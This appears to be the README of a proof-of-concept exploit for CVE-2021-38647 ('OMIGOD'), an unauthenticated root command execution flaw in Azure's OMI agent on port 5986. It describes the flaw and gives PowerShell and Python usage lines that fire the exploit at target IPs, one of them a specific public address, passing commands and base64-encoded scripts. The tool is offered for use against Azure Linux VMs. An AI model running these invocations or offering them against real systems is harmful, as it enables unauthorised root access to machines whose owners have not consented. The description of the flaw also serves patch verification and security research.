CVE-2021-38647

CVE-2021-38647 - POC to exploit unauthenticated RCE #OMIGOD on Azure UNIX/Linux VMs!

Details

In Microsoft's Azure, the OMI application gets installed automatically when services like Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., are used for UNIX/Linux VM's. The OMI application also exposes the service over port 5986 if the Configuration Management service is used for managing the machine remotely.

Anyone with network access to vulnerable endpoint can send a request that leverages the SCXcore provider without the Authorization header and execute OS commands on the target machine with root privileges!

This vulnerability is now fixed but always worth to check against Linux VMs in Azure.

Usage

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux
